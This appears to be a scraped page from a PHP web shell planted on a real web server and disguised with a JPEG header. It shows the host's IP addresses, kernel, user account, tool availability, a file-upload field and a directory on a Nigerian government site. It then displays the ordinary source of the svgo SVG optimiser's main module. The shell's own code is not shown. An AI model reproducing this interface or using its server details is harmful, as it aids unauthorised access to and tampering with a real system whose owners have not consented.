ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.117.168.175 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/svgo/lib/ |
Upload File : |
'use strict'; const { defaultPlugins, resolvePluginConfig, extendDefaultPlugins, } = require('./svgo/config.js'); const svg2js = require('./svgo/svg2js.js'); const js2svg = require('./svgo/js2svg.js'); const invokePlugins = require('./svgo/plugins.js'); const JSAPI = require('./svgo/jsAPI.js'); const { encodeSVGDatauri } = require('./svgo/tools.js'); exports.extendDefaultPlugins = extendDefaultPlugins; const optimize = (input, config) => { if (config == null) { config = {}; } if (typeof config !== 'object') { throw Error('Config should be an object'); } const maxPassCount = config.multipass ? 10 : 1; let prevResultSize = Number.POSITIVE_INFINITY; let svgjs = null; const info = {}; if (config.path != null) { info.path = config.path; } for (let i = 0; i < maxPassCount; i += 1) { info.multipassCount = i; svgjs = svg2js(input); if (svgjs.error != null) { if (config.path != null) { svgjs.path = config.path; } return svgjs; } const plugins = config.plugins || defaultPlugins; if (Array.isArray(plugins) === false) { throw Error( "Invalid plugins list. Provided 'plugins' in config should be an array." ); } const resolvedPlugins = plugins.map((plugin) => resolvePluginConfig(plugin, config) ); svgjs = invokePlugins(svgjs, info, resolvedPlugins); svgjs = js2svg(svgjs, config.js2svg); if (svgjs.error) { throw Error(svgjs.error); } if (svgjs.data.length < prevResultSize) { input = svgjs.data; prevResultSize = svgjs.data.length; } else { if (config.datauri) { svgjs.data = encodeSVGDatauri(svgjs.data, config.datauri); } if (config.path != null) { svgjs.path = config.path; } return svgjs; } } return svgjs; }; exports.optimize = optimize; /** * The factory that creates a content item with the helper methods. * * @param {Object} data which is passed to jsAPI constructor * @returns {JSAPI} content item */ const createContentItem = (data) => { return new JSAPI(data); }; exports.createContentItem = createContentItem;